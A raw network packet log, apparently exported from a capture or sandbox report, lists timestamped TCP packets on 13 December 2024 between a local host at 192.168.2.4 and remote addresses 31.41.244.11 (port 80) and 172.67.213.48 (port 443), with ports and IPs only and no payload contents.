Dec 13, 2024 01:51:46.786802053 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.795105934 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.795157909 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.795241117 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.795285940 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.801901102 CET	443	49862	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:46.802001953 CET	49862	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:46.803180933 CET	49862	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:46.803201914 CET	443	49862	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:46.803438902 CET	443	49862	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:46.803529024 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.803580046 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.803653002 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.803834915 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.804553032 CET	49862	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:46.804688931 CET	49862	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:46.804730892 CET	443	49862	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:46.804810047 CET	49862	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:46.804824114 CET	443	49862	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:46.811965942 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.812069893 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.812130928 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.820441961 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.820475101 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.820502996 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.820527077 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.828849077 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.828902006 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.828964949 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.829123020 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.837321043 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.837369919 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.837421894 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.837466002 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.845823050 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.845912933 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.845923901 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.845973969 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.853195906 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.853230953 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.853247881 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.853269100 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.860198021 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.860264063 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.860414028 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.860460997 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.966526985 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.966543913 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.966936111 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.968630075 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.968720913 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.969121933 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.973316908 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.973331928 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.973383904 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.977916956 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.977997065 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.978043079 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.978043079 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.982198000 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.982357979 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.982403040 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.982606888 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.986731052 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.986784935 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.986826897 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.986871004 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.991390944 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.991471052 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.991488934 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.991513014 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.996056080 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.996105909 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.996256113 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.000407934 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.000452042 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.000650883 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.004976988 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.005078077 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.005099058 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.005125046 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.009318113 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.009373903 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.009394884 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.009440899 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.013787031 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.013840914 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.013921976 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.013967991 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.018393993 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.018451929 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.018496037 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.018543005 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.022839069 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.022891045 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.022984982 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.023032904 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.027311087 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.027380943 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.027431965 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.027478933 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.031876087 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.031971931 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.032037020 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.032087088 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.036319971 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.036371946 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.036433935 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.036479950 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.040802956 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.040854931 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.040915966 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.040961981 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.045345068 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.045394897 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.045439005 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.045488119 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.049818039 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.050028086 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.050087929 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.054358959 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.054466009 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.054533005 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.058845997 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.058964014 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.059063911 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.063344955 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.067177057 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.158595085 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.158797026 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.158885002 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.159600019 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.159688950 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.159766912 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.163187981 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.163387060 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.163438082 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.166871071 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.166919947 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.166960001 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.167155981 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.170439959 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.170488119 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.170645952 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.170691967 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.173969030 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.174016953 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.174034119 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.175153017 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.177437067 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.177484989 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.177519083 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.177562952 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.180699110 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.180836916 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.180886984 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.184015036 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.184128046 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.184174061 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.187230110 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.187299013 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.187356949 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.190404892 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.190509081 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.190570116 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.193574905 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.193639040 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.193689108 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.193732977 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.196737051 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.196800947 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.196831942 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.196858883 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.199935913 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.199990034 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.200063944 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.200109005 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.203063965 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.203244925 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.203294039 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.206222057 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.206347942 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.206408024 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.209443092 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.209538937 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.209585905 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.212574959 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.212635040 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.212681055 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.212748051 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.215703011 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.215822935 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.215991974 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.218878984 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.218992949 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.219041109 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.222049952 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.222099066 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.222151995 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.222194910 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.225250959 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.225310087 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.225349903 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.225594044 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.228348970 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.228468895 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.228517056 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.231508970 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.231570005 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.231647968 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.232095003 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.234678030 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.234791040 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.234811068 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.235074997 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.237833023 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.237881899 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.237957001 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.238204002 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.241010904 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.241103888 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.241163015 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.244193077 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.244257927 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.244282007 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.244323015 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.247308969 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.247361898 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.247422934 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.247510910 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.250478983 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.250525951 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.250571966 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.250612020 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.253618002 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.253674030 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.253732920 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.253918886 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.256791115 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.256840944 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.256901979 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.256946087 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.259979010 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.260102034 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.260147095 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.263082981 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.263153076 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.350761890 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.350831985 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.350864887 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.350913048 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.351943970 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.351990938 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.352436066 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.352478027 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.352552891 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.352591991 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.354979038 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.355034113 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.355108976 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.355150938 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.357455969 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.357544899 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.357603073 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.357681990 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.359976053 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.360085964 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.360130072 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.362273932 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.362319946 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.362391949 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.362495899 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.364712954 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.364763975 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.364831924 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.365000010 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.367074966 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.367130995 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.367152929 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.367178917 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.369337082 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.369375944 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.369434118 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.369474888 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.371623039 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.371664047 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.371726036 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.372033119 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.373917103 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.373963118 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.373986006 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.374017954 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.376081944 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.376188040 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.376214027 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.376230001 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.378257990 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.378304958 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.378390074 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.378427029 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.380422115 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.380496979 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.380539894 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.382580996 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.382675886 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.382716894 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.384711027 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.384784937 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.384824038 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.384907961 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.386745930 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.386843920 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.386890888 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.388835907 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.388931990 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.388978004 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.390973091 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.391047001 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.391098022 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.393027067 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.393203020 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.393246889 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.395215988 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.395275116 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.395335913 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.395337105 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.397183895 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.397324085 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.397386074 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.399853945 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.399900913 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.400000095 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.400238991 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.401371002 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.401463985 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.401487112 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.401504040 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.403451920 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.403506994 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.403611898 CET	80	49858	31.41.244.11	192.168.2.4
